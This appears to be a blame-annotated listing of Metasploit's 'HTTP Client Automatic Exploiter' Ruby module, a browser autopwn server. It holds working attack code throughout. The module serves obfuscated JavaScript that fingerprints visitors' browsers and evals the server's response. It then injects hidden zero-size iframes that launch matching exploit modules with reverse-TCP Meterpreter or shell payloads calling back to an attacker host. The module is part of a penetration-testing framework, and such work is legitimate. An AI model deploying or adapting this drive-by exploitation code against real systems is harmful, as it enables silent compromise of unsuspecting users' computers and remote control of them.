2008-07-01 01:44:56 +00:00
|
|
|
##
|
2008-11-17 07:53:44 +00:00
|
|
|
# $Id$
|
2008-07-01 01:44:56 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-07-01 01:44:56 +00:00
|
|
|
##
|
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
# ideas:
|
|
|
|
# - add a loading page option so the user can specify arbitrary html to
|
|
|
|
# insert all of the evil js and iframes into
|
|
|
|
# - caching is busted when different browsers come from the same IP
|
|
|
|
# - opera historysearch won't work in an iframe
|
|
|
|
# - some kind of version comparison for each browser
|
|
|
|
# - is a generic comparison possible?
|
|
|
|
# 9.1 < 9.10 < 9.20b < 9.20
|
|
|
|
# 3.5-pre < 3.5 < 3.5.1
|
2008-07-01 01:44:56 +00:00
|
|
|
|
|
|
|
require 'msf/core'
|
2009-07-19 17:27:36 +00:00
|
|
|
require 'rex/exploitation/javascriptosdetect'
|
2008-07-01 01:44:56 +00:00
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2008-07-01 01:44:56 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2008-08-08 06:00:30 +00:00
|
|
|
'Name' => 'HTTP Client Automatic Exploiter',
|
2008-10-23 02:43:21 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-07-01 01:44:56 +00:00
|
|
|
'Description' => %q{
|
2009-07-19 17:27:36 +00:00
|
|
|
This module uses a combination of client-side and server-side
|
|
|
|
techniques to fingerprint HTTP clients and then automatically
|
|
|
|
exploit them.
|
2008-07-01 01:44:56 +00:00
|
|
|
},
|
2008-08-08 06:00:30 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
2009-07-19 17:27:36 +00:00
|
|
|
# initial concept, integration and extension of Jerome
|
|
|
|
# Athias' os_detect.js
|
|
|
|
'egypt',
|
2008-07-22 07:28:05 +00:00
|
|
|
],
|
2008-07-01 01:44:56 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
2009-07-19 17:27:36 +00:00
|
|
|
[ 'WebServer', {
|
|
|
|
'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
|
|
|
|
} ],
|
|
|
|
[ 'list', {
|
|
|
|
'Description' => 'List the exploit modules that would be started'
|
|
|
|
} ]
|
2008-07-01 01:44:56 +00:00
|
|
|
],
|
|
|
|
'PassiveActions' =>
|
|
|
|
[
|
|
|
|
'WebServer'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'WebServer'))
|
|
|
|
|
|
|
|
register_options([
|
2009-07-19 17:27:36 +00:00
|
|
|
OptAddress.new('LHOST', [true,
|
|
|
|
'The IP address to use for reverse-connect payloads'
|
|
|
|
]),
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
register_advanced_options([
|
|
|
|
OptString.new('MATCH', [false,
|
|
|
|
'Only attempt to use exploits whose name matches this regex'
|
|
|
|
]),
|
|
|
|
OptString.new('EXCLUDE', [false,
|
|
|
|
'Only attempt to use exploits whose name DOES NOT match this regex'
|
|
|
|
]),
|
|
|
|
OptBool.new('DEBUG', [false,
|
|
|
|
'Do not obfuscate the javascript and print various bits of useful info to the browser',
|
|
|
|
false
|
|
|
|
]),
|
2008-08-08 06:00:30 +00:00
|
|
|
], self.class)
|
2008-07-01 01:44:56 +00:00
|
|
|
|
|
|
|
@exploits = Hash.new
|
2009-07-19 17:27:36 +00:00
|
|
|
@targetcache = Hash.new
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
2009-07-19 17:27:36 +00:00
|
|
|
|
|
|
|
|
|
|
|
def run
|
|
|
|
if (action.name == 'list')
|
|
|
|
m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{}
|
|
|
|
e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
|
|
|
|
framework.exploits.each_module do |name, mod|
|
|
|
|
if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex)
|
|
|
|
@exploits[name] = nil
|
|
|
|
print_line name
|
|
|
|
end
|
|
|
|
end
|
|
|
|
print_line
|
|
|
|
print_status("Found #{@exploits.length} exploit modules")
|
|
|
|
else
|
|
|
|
start_exploit_modules()
|
|
|
|
exploit()
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def init_exploit(name, mod = nil, targ = 0)
|
|
|
|
if mod.nil?
|
|
|
|
@exploits[name] = framework.modules.create(name)
|
|
|
|
else
|
|
|
|
@exploits[name] = mod.new
|
|
|
|
end
|
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
case name
|
2009-07-19 17:27:36 +00:00
|
|
|
when %r{windows}
|
2008-07-01 01:44:56 +00:00
|
|
|
payload='windows/meterpreter/reverse_tcp'
|
2009-07-19 17:27:36 +00:00
|
|
|
#payload='generic/debug_trap'
|
2008-07-01 01:44:56 +00:00
|
|
|
else
|
|
|
|
payload='generic/shell_reverse_tcp'
|
|
|
|
end
|
2009-07-19 17:27:36 +00:00
|
|
|
print_status("Starting exploit #{name} with payload #{payload}")
|
2008-07-01 01:44:56 +00:00
|
|
|
@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
|
|
|
|
|
2008-09-01 05:19:28 +00:00
|
|
|
# For testing, set the exploit uri to the name of the exploit so it's
|
|
|
|
# easy to tell what is happening from the browser.
|
2009-07-19 17:27:36 +00:00
|
|
|
# XXX: Set to nil for release
|
|
|
|
#@exploits[name].datastore['URIPATH'] = nil
|
|
|
|
@exploits[name].datastore['URIPATH'] = name
|
|
|
|
|
|
|
|
# set a random lport for each exploit. There's got to be a better way
|
|
|
|
# to do this but it's still better than incrementing it
|
|
|
|
@exploits[name].datastore['LPORT'] = rand(32768) + 32768
|
|
|
|
@exploits[name].datastore['LHOST'] = @lhost
|
2008-07-01 01:44:56 +00:00
|
|
|
@exploits[name].exploit_simple(
|
|
|
|
'LocalInput' => self.user_input,
|
|
|
|
'LocalOutput' => self.user_output,
|
2008-07-22 07:28:05 +00:00
|
|
|
'Target' => targ,
|
2008-07-01 01:44:56 +00:00
|
|
|
'Payload' => payload,
|
|
|
|
'RunAsJob' => true)
|
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
# It takes a little time for the resources to get set up, so sleep for
|
|
|
|
# a bit to make sure the exploit is fully working. Without this,
|
|
|
|
# mod.get_resource doesn't exist when we need it.
|
|
|
|
Rex::ThreadSafe.sleep(0.5)
|
|
|
|
# Make sure this exploit got set up correctly, return false if it
|
|
|
|
# didn't
|
|
|
|
if framework.jobs[@exploits[name].job_id.to_s].nil?
|
|
|
|
print_error("Failed to start exploit module #{name}")
|
|
|
|
@exploits.delete(name)
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
return true
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
def start_exploit_modules()
|
|
|
|
@lhost = (datastore['LHOST'] || "0.0.0.0")
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
@js_tests = {}
|
|
|
|
@noscript_tests = {}
|
2008-09-01 05:19:28 +00:00
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
print_line
|
|
|
|
print_status("Starting exploit modules on host #{@lhost}...")
|
|
|
|
print_status("---")
|
|
|
|
print_line
|
|
|
|
m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{}
|
|
|
|
e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
|
|
|
|
framework.exploits.each_module do |name, mod|
|
|
|
|
if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex)
|
|
|
|
next if !(init_exploit(name))
|
|
|
|
apo = mod.autopwn_opts
|
|
|
|
#p apo
|
|
|
|
apo[:name] = name
|
|
|
|
if apo[:classid]
|
|
|
|
# Then this is an IE exploit that uses an ActiveX control,
|
|
|
|
# build the appropriate tests for it.
|
|
|
|
method = apo[:vuln_test].dup
|
|
|
|
apo[:vuln_test] = ""
|
|
|
|
apo[:ua_name] = ::Msf::Auxiliary::Report::HttpClients::IE
|
|
|
|
if apo[:classid].kind_of?(Array) # then it's many classids
|
|
|
|
apo[:classid].each { |clsid|
|
|
|
|
apo[:vuln_test] << "if (testAXO('#{clsid}', '#{method}')) {\n"
|
|
|
|
apo[:vuln_test] << " is_vuln = true;\n"
|
|
|
|
apo[:vuln_test] << "}\n"
|
|
|
|
}
|
|
|
|
else
|
|
|
|
apo[:vuln_test] << "if (testAXO('#{apo[:classid]}', '#{method}')) {\n"
|
|
|
|
apo[:vuln_test] << " is_vuln = true;\n"
|
|
|
|
apo[:vuln_test] << "}\n"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
if apo[:javascript] && apo[:ua_name]
|
|
|
|
if @js_tests[apo[:ua_name]].nil?
|
|
|
|
@js_tests[apo[:ua_name]] = []
|
|
|
|
end
|
|
|
|
@js_tests[apo[:ua_name]].push(apo)
|
|
|
|
elsif apo[:javascript]
|
|
|
|
if @js_tests["generic"].nil?
|
|
|
|
@js_tests["generic"] = []
|
|
|
|
end
|
|
|
|
@js_tests["generic"].push(apo)
|
|
|
|
elsif apo[:ua_name]
|
|
|
|
if @noscript_tests[apo[:ua_name]].nil?
|
|
|
|
@noscript_tests[apo[:ua_name]] = []
|
|
|
|
end
|
|
|
|
@noscript_tests[apo[:ua_name]].push(apo)
|
|
|
|
else
|
|
|
|
if @noscript_tests["generic"].nil?
|
|
|
|
@noscript_tests["generic"] = []
|
|
|
|
end
|
|
|
|
@noscript_tests["generic"].push(apo)
|
|
|
|
end
|
2008-07-22 07:28:05 +00:00
|
|
|
end
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
2009-07-19 17:27:36 +00:00
|
|
|
print_line
|
|
|
|
print_status("--- Done, found #{@exploits.length} exploit modules")
|
|
|
|
print_line
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
@js_tests.each { |browser,tests|
|
|
|
|
tests.sort! {|a,b| b[:rank] <=> a[:rank]}
|
|
|
|
}
|
|
|
|
@noscript_tests.each { |browser,tests|
|
|
|
|
tests.sort! {|a,b| b[:rank] <=> a[:rank]}
|
|
|
|
}
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
init_js = ::Rex::Exploitation::ObfuscateJS.new
|
|
|
|
init_js << <<-ENDJS
|
2008-07-23 08:26:42 +00:00
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
#{js_os_detect}
|
|
|
|
#{js_base64}
|
2009-07-19 17:27:36 +00:00
|
|
|
function make_xhr() {
|
|
|
|
var xhr;
|
|
|
|
try {
|
|
|
|
xhr = new XMLHttpRequest();
|
|
|
|
} catch(e) {
|
|
|
|
try {
|
|
|
|
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
|
|
|
} catch(e) {
|
|
|
|
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
2008-07-22 07:28:05 +00:00
|
|
|
}
|
|
|
|
}
|
2009-07-19 17:27:36 +00:00
|
|
|
if (! xhr) {
|
|
|
|
throw "failed to create XMLHttpRequest";
|
|
|
|
}
|
|
|
|
return xhr;
|
2008-07-01 01:44:56 +00:00
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
function report_and_get_exploits(detected_version) {
|
2008-09-01 05:19:28 +00:00
|
|
|
var encoded_detection;
|
2009-07-19 17:27:36 +00:00
|
|
|
xhr = make_xhr();
|
|
|
|
xhr.onreadystatechange = function () {
|
|
|
|
if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
|
|
|
#{js_debug('"<pre>" + htmlentities(xhr.responseText) + "</pre>"')};
|
|
|
|
eval(xhr.responseText);
|
2008-07-22 07:28:05 +00:00
|
|
|
}
|
|
|
|
}
|
2009-07-19 17:27:36 +00:00
|
|
|
|
|
|
|
encoded_detection = new String();
|
|
|
|
for (var prop in detected_version) {
|
|
|
|
#{js_debug('prop + " " + detected_version[prop]')};
|
|
|
|
encoded_detection += detected_version[prop] + ":";
|
2008-09-01 05:19:28 +00:00
|
|
|
}
|
2009-07-19 17:27:36 +00:00
|
|
|
#{js_debug('encoded_detection + "<br>"')};
|
2008-09-01 05:19:28 +00:00
|
|
|
encoded_detection = Base64.encode(encoded_detection);
|
2009-07-19 17:27:36 +00:00
|
|
|
xhr.open("GET", document.location + "?sessid=" + encoded_detection);
|
|
|
|
xhr.send(null);
|
2008-07-01 01:44:56 +00:00
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
function bodyOnLoad() {
|
2008-07-22 07:28:05 +00:00
|
|
|
var detected_version = getVersion();
|
2009-07-19 17:27:36 +00:00
|
|
|
//#{js_debug('detected_version')};
|
|
|
|
report_and_get_exploits(detected_version);
|
|
|
|
} // function bodyOnLoad
|
|
|
|
ENDJS
|
2008-07-22 07:28:05 +00:00
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
opts = {
|
|
|
|
'Symbols' => {
|
|
|
|
'Variables' => [
|
|
|
|
'xhr',
|
|
|
|
'encoded_detection',
|
|
|
|
],
|
|
|
|
'Methods' => [
|
|
|
|
'report_and_get_exploits',
|
|
|
|
'handler',
|
|
|
|
'bodyOnLoad',
|
|
|
|
]
|
|
|
|
},
|
|
|
|
'Strings' => true,
|
|
|
|
}
|
|
|
|
|
|
|
|
init_js.update_opts(opts)
|
|
|
|
init_js.update_opts(js_os_detect.opts)
|
|
|
|
init_js.update_opts(js_base64.opts)
|
|
|
|
if (datastore['DEBUG'])
|
|
|
|
print_status("Adding debug code")
|
|
|
|
init_js << <<-ENDJS
|
|
|
|
if (!(typeof(debug) == 'function')) {
|
|
|
|
function htmlentities(str) {
|
|
|
|
str = str.replace(/>/g, '>');
|
|
|
|
str = str.replace(/</g, '<');
|
|
|
|
str = str.replace(/&/g, '&');
|
|
|
|
return str;
|
2008-07-22 07:28:05 +00:00
|
|
|
}
|
2009-07-19 17:27:36 +00:00
|
|
|
function debug(msg) {
|
|
|
|
document.body.innerHTML += (msg + "<br />\\n");
|
2008-07-22 07:28:05 +00:00
|
|
|
}
|
2009-07-19 17:27:36 +00:00
|
|
|
}
|
|
|
|
ENDJS
|
|
|
|
else
|
|
|
|
init_js.obfuscate()
|
|
|
|
end
|
|
|
|
|
|
|
|
init_js << "window.onload = #{init_js.sym("bodyOnLoad")}";
|
|
|
|
@init_html = "<html > <head > <title > Loading </title>\n"
|
|
|
|
@init_html << '<script language="javascript" type="text/javascript">'
|
|
|
|
@init_html << "<!-- \n #{init_js} //-->"
|
|
|
|
@init_html << "</script> </head> "
|
|
|
|
@init_html << "<body onload=\"#{init_js.sym("bodyOnLoad")}()\"> "
|
|
|
|
@init_html << "<noscript> \n"
|
|
|
|
@init_html << build_iframe("#{self.get_resource}?ns=1")
|
|
|
|
@init_html << "</noscript> \n"
|
|
|
|
@init_html << "</body> </html> "
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
|
|
|
|
|
|
|
|
case request.uri
|
|
|
|
when self.get_resource
|
|
|
|
# This is the first request. Send the javascript fingerprinter and
|
|
|
|
# hope it sends us back some data. If it doesn't, javascript is
|
|
|
|
# disabled on the client and we will have to do a lot more
|
|
|
|
# guessing.
|
|
|
|
response = create_response()
|
|
|
|
response["Expires"] = "0"
|
|
|
|
response["Cache-Control"] = "must-revalidate"
|
|
|
|
response.body = @init_html
|
|
|
|
cli.send_response(response)
|
|
|
|
when %r{^#{self.get_resource}.*sessid=}
|
|
|
|
# This is the request for the exploit page when javascript is
|
|
|
|
# enabled. Includes the results of the javascript fingerprinting
|
|
|
|
# in the "sessid" parameter as a base64 encoded string.
|
|
|
|
record_detection(cli, request)
|
|
|
|
print_status("Responding with exploits")
|
|
|
|
response = build_script_response(cli, request)
|
|
|
|
|
|
|
|
cli.send_response(response)
|
|
|
|
when %r{^#{self.get_resource}.*ns=1}
|
|
|
|
# This is the request for the exploit page when javascript is NOT
|
|
|
|
# enabled. Since scripting is disabled, fall back to useragent
|
|
|
|
# detection, which is kind of a bummer since it's so easy for the
|
|
|
|
# ua string to lie. It probably doesn't matter that much because
|
|
|
|
# most of our exploits require javascript anyway.
|
|
|
|
print_status("Browser has javascript disabled, trying exploits that don't need it")
|
|
|
|
record_detection(cli, request)
|
|
|
|
response = build_noscript_response(cli, request)
|
|
|
|
|
|
|
|
cli.send_response(response)
|
|
|
|
else
|
|
|
|
print_error("I don't know how to handle this request (#{request.uri}), sending 404")
|
|
|
|
send_not_found(cli)
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def build_noscript_response(cli, request)
|
|
|
|
client_db = get_client(cli.peerhost, request['User-Agent'])
|
|
|
|
|
|
|
|
response = create_response()
|
|
|
|
response['Expires'] = '0'
|
|
|
|
response['Cache-Control'] = 'must-revalidate'
|
|
|
|
|
|
|
|
response.body = "<html > <head > <title > Loading </title> </head> "
|
|
|
|
response.body << "<body> "
|
|
|
|
|
|
|
|
@noscript_tests.each { |browser, sploits|
|
|
|
|
next if sploits.length == 0
|
|
|
|
# If get_client failed then we have no knowledge of this host,
|
|
|
|
# don't assume anything about the browser. If ua_name is nil or
|
|
|
|
# generic, these exploits need to be sent regardless of browser.
|
|
|
|
# Either way, we need to send these exploits.
|
|
|
|
if (client_db.nil? || [nil, browser, "generic"].include?(client_db[:ua_name]))
|
|
|
|
if (HttpClients::IE == browser)
|
|
|
|
response.body << "<!--[if IE]>\n"
|
|
|
|
end
|
|
|
|
sploits.map do |s|
|
|
|
|
response.body << (s[:prefix_html] || "") + "\n"
|
|
|
|
response.body << build_iframe(exploit_resource(s[:name])) + "\n"
|
|
|
|
response.body << (s[:postfix_html] || "") + "\n"
|
|
|
|
end
|
|
|
|
if (HttpClients::IE == browser)
|
|
|
|
response.body << "<![endif]-->\n"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
response.body << "Your mom "
|
|
|
|
response.body << "</body> </html> "
|
|
|
|
|
|
|
|
return response
|
|
|
|
end
|
|
|
|
|
|
|
|
def build_script_response(cli, request)
|
|
|
|
response = create_response()
|
|
|
|
response['Expires'] = '0'
|
|
|
|
response['Cache-Control'] = 'must-revalidate'
|
|
|
|
|
|
|
|
client_db = get_client(cli.peerhost, request['User-Agent'])
|
|
|
|
p client_db
|
|
|
|
p get_host({:host => cli.peerhost})
|
|
|
|
|
|
|
|
js = ::Rex::Exploitation::ObfuscateJS.new
|
|
|
|
# If we didn't get a client database, then the detection is
|
|
|
|
# borked or the db is not connected, so fallback to sending
|
|
|
|
# some IE-specific stuff with everything. Otherwise, make
|
|
|
|
# sure this is IE before sending code for ActiveX checks.
|
|
|
|
#if (client_db.nil? || client_db[:ua_name] == HttpClients::IE)
|
|
|
|
if (client_db.nil? || [nil, HttpClients::IE].include?(client_db[:ua_name]))
|
|
|
|
# If we have a class name (e.g.: "DirectAnimation.PathControl"),
|
|
|
|
# use the simple and direct "new ActiveXObject()". If we
|
|
|
|
# have a classid instead, first try creating a the object
|
|
|
|
# with createElement("object"). However, some things
|
|
|
|
# don't like being created this way (specifically winzip),
|
|
|
|
# so try writing out an object tag as well. One of these
|
|
|
|
# two methods should succeed if the object with the given
|
|
|
|
# classid can be created.
|
|
|
|
js << <<-ENDJS
|
|
|
|
function testAXO(axo_name, method) {
|
|
|
|
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
|
|
|
|
axobj = document.createElement("object");
|
|
|
|
axobj.setAttribute("classid", "clsid:" + axo_name);
|
|
|
|
axobj.setAttribute("id", axo_name);
|
|
|
|
axobj.setAttribute("style", "visibility: hidden");
|
|
|
|
axobj.setAttribute("width", "0px");
|
|
|
|
axobj.setAttribute("height", "0px");
|
|
|
|
document.body.appendChild(axobj);
|
|
|
|
if (typeof(axobj[method]) == 'undefined') {
|
|
|
|
var attributes = 'id="' + axo_name + '"';
|
|
|
|
attributes += ' classid="clsid:' + axo_name + '"';
|
|
|
|
attributes += ' style="visibility: hidden"';
|
|
|
|
attributes += ' width="0px" height="0px"';
|
|
|
|
document.body.innerHTML += "<object " + attributes + "></object>";
|
|
|
|
axobj = document.getElementById(axo_name);
|
2008-07-22 07:28:05 +00:00
|
|
|
}
|
2009-07-19 17:27:36 +00:00
|
|
|
} else {
|
|
|
|
try {
|
|
|
|
axobj = new ActiveXObject(axo_name);
|
|
|
|
} catch(e) {
|
|
|
|
axobj = '';
|
|
|
|
};
|
|
|
|
}
|
|
|
|
#{js_debug('axo_name + "." + method + " = " + typeof axobj[method] + "<br/>"')};
|
|
|
|
if (typeof(axobj[method]) != 'undefined') {
|
|
|
|
return true;
|
2008-11-17 07:53:44 +00:00
|
|
|
}
|
2009-07-19 17:27:36 +00:00
|
|
|
return false;
|
2008-07-22 07:28:05 +00:00
|
|
|
}
|
2009-07-19 17:27:36 +00:00
|
|
|
ENDJS
|
|
|
|
# End of IE-specific test functions
|
|
|
|
end
|
|
|
|
js << <<-ENDJS
|
|
|
|
var written_iframes = new Array();
|
|
|
|
function write_iframe(myframe) {
|
|
|
|
var iframe_idx; var mybody;
|
|
|
|
for (iframe_idx in written_iframes) {
|
|
|
|
if (written_iframes[iframe_idx] == myframe) {
|
|
|
|
return;
|
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
}
|
2009-07-19 17:27:36 +00:00
|
|
|
written_iframes[written_iframes.length] = myframe;
|
|
|
|
str = '';
|
|
|
|
str += '<iframe src="' + myframe + '" style="visibility:hidden" height="0" width="0" border="0"></iframe>';
|
|
|
|
str += '<p>' + myframe + '</p>';
|
|
|
|
document.body.innerHTML += (str);
|
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
ENDJS
|
|
|
|
opts = {
|
|
|
|
'Symbols' => {
|
2009-07-19 17:27:36 +00:00
|
|
|
'Variables' => [
|
|
|
|
'written_iframes',
|
|
|
|
'myframe',
|
|
|
|
'mybody',
|
|
|
|
'iframe_idx',
|
|
|
|
'is_vuln',
|
2008-07-22 07:28:05 +00:00
|
|
|
],
|
|
|
|
'Methods' => [
|
2009-07-19 17:27:36 +00:00
|
|
|
'write_iframe',
|
2008-07-22 07:28:05 +00:00
|
|
|
]
|
2009-07-19 17:27:36 +00:00
|
|
|
},
|
|
|
|
'Strings' => true,
|
2008-07-01 01:44:56 +00:00
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
@js_tests.each { |browser, sploits|
|
|
|
|
next if sploits.length == 0
|
|
|
|
#print_status("Building sploits for #{client_db[:ua_name]}")
|
|
|
|
if (client_db.nil? || [nil, browser, "generic"].include?(client_db[:ua_name]))
|
|
|
|
js << "function exploit#{browser}() { \n"
|
|
|
|
sploits.map do |s|
|
|
|
|
if s[:vuln_test]
|
|
|
|
# Wrap all of the vuln tests in a try-catch block so a
|
|
|
|
# single borked test doesn't prevent other exploits
|
|
|
|
# from working.
|
|
|
|
js << " is_vuln = false;\n"
|
|
|
|
js << " try {\n"
|
|
|
|
js << s[:vuln_test] + "\n"
|
|
|
|
js << " } catch(e) { is_vuln = false; }\n"
|
|
|
|
js << " if (is_vuln) {"
|
|
|
|
js << " write_iframe('" + exploit_resource(s[:name]) + "'); "
|
|
|
|
js << " }\n"
|
|
|
|
else
|
|
|
|
js << " write_iframe('" + exploit_resource(s[:name]) + "');\n"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
js << "}\n" # end function exploit...()
|
|
|
|
js << "#{js_debug("exploit func: exploit#{browser}()")};\n"
|
|
|
|
js << "exploit#{browser}();\n" # run that bad boy
|
|
|
|
opts['Symbols']['Methods'].push("exploit#{browser}")
|
|
|
|
end
|
2008-09-01 05:19:28 +00:00
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
if not datastore['DEBUG']
|
|
|
|
js.obfuscate
|
|
|
|
end
|
|
|
|
response.body = "#{js}"
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
return response
|
|
|
|
end
|
|
|
|
|
2008-07-23 08:26:42 +00:00
|
|
|
# consider abstracting this out to a method (probably
|
|
|
|
# with a different name) of Auxiliary::Report or
|
|
|
|
# Exploit::Remote::HttpServer
|
2008-07-22 07:28:05 +00:00
|
|
|
def record_detection(cli, request)
|
|
|
|
os_name = nil
|
|
|
|
os_flavor = nil
|
|
|
|
os_sp = nil
|
|
|
|
os_lang = nil
|
|
|
|
arch = nil
|
|
|
|
ua_name = nil
|
2009-07-19 17:27:36 +00:00
|
|
|
ua_ver = nil
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
data_offset = request.uri.index('sessid=')
|
2009-07-19 17:27:36 +00:00
|
|
|
p request['User-Agent']
|
2008-07-22 07:28:05 +00:00
|
|
|
if (data_offset.nil? or -1 == data_offset)
|
|
|
|
# then we didn't get a report back from our javascript
|
|
|
|
# detection; make a best guess effort from information
|
|
|
|
# in the user agent string. The OS detection should be
|
2009-07-19 17:27:36 +00:00
|
|
|
# roughly the same as the javascript version on non-IE
|
|
|
|
# browsers because it does most everything with
|
|
|
|
# navigator.userAgent
|
|
|
|
print_status("Recording detection from User-Agent")
|
|
|
|
report_user_agent(cli.peerhost, request)
|
2008-07-01 01:44:56 +00:00
|
|
|
else
|
2008-07-22 07:28:05 +00:00
|
|
|
data_offset += 'sessid='.length
|
|
|
|
detected_version = request.uri[data_offset, request.uri.length]
|
|
|
|
if (0 < detected_version.length)
|
|
|
|
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
|
2009-07-19 17:27:36 +00:00
|
|
|
print_status("JavaScript Report: #{detected_version}")
|
|
|
|
(os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':')
|
|
|
|
report_host(
|
|
|
|
:host => cli.peerhost,
|
|
|
|
:os_name => os_name,
|
|
|
|
:os_flavor => os_flavor,
|
|
|
|
:os_sp => os_sp,
|
|
|
|
:os_lang => os_lang,
|
|
|
|
:arch => arch
|
|
|
|
)
|
|
|
|
report_client(
|
|
|
|
:host => cli.peerhost,
|
|
|
|
:ua_string => request['User-Agent'],
|
|
|
|
:ua_name => ua_name,
|
|
|
|
:ua_ver => ua_ver
|
|
|
|
)
|
|
|
|
report_note(
|
|
|
|
:host => cli.peerhost,
|
|
|
|
:type => 'http_request',
|
|
|
|
:data => "#{@myhost}:#{@myport} #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_ver}"
|
|
|
|
)
|
2008-07-22 07:28:05 +00:00
|
|
|
end
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
2008-09-01 05:19:28 +00:00
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
# If the database is not connected, use a cache instead
|
|
|
|
if (!get_client(cli.peerhost, request['User-Agent']))
|
|
|
|
print_status("No database, using targetcache instead")
|
|
|
|
@targetcache ||= {}
|
|
|
|
@targetcache[cli.peerhost] ||= {}
|
|
|
|
@targetcache[cli.peerhost][:update] = Time.now.to_i
|
|
|
|
|
|
|
|
# Clean the cache
|
|
|
|
rmq = []
|
|
|
|
@targetcache.each_key do |addr|
|
|
|
|
if (Time.now.to_i > @targetcache[addr][:update]+60)
|
|
|
|
rmq.push addr
|
|
|
|
end
|
|
|
|
end
|
|
|
|
rmq.each {|addr| @targetcache.delete(addr) }
|
|
|
|
|
|
|
|
# Keep the attributes the same as if it were created in
|
|
|
|
# the database.
|
|
|
|
@targetcache[cli.peerhost][:update] = Time.now.to_i
|
|
|
|
@targetcache[cli.peerhost][:ua_string] = request['User-Agent']
|
|
|
|
@targetcache[cli.peerhost][:ua_name] = ua_name
|
|
|
|
@targetcache[cli.peerhost][:ua_ver] = ua_ver
|
2008-07-22 07:28:05 +00:00
|
|
|
end
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
# Override super#get_client to use a cache in case the database
|
|
|
|
# is not available
|
|
|
|
def get_client(host, ua)
|
|
|
|
return super(host, ua) || @targetcache[host]
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
def build_iframe(resource)
|
2008-07-23 08:26:42 +00:00
|
|
|
ret = ''
|
2009-07-19 17:27:36 +00:00
|
|
|
#ret << "<p>iframe #{resource}</p>"
|
2008-07-23 08:26:42 +00:00
|
|
|
ret << "<iframe src=\"#{resource}\" style=\"visibility:hidden\" height=\"0\" width=\"0\" border=\"0\"></iframe>"
|
2009-07-19 17:27:36 +00:00
|
|
|
#ret << "<iframe src=\"#{resource}\" ></iframe>"
|
2008-07-23 08:26:42 +00:00
|
|
|
return ret
|
2008-07-22 07:28:05 +00:00
|
|
|
end
|
2008-11-25 08:51:17 +00:00
|
|
|
|
2009-07-19 17:27:36 +00:00
|
|
|
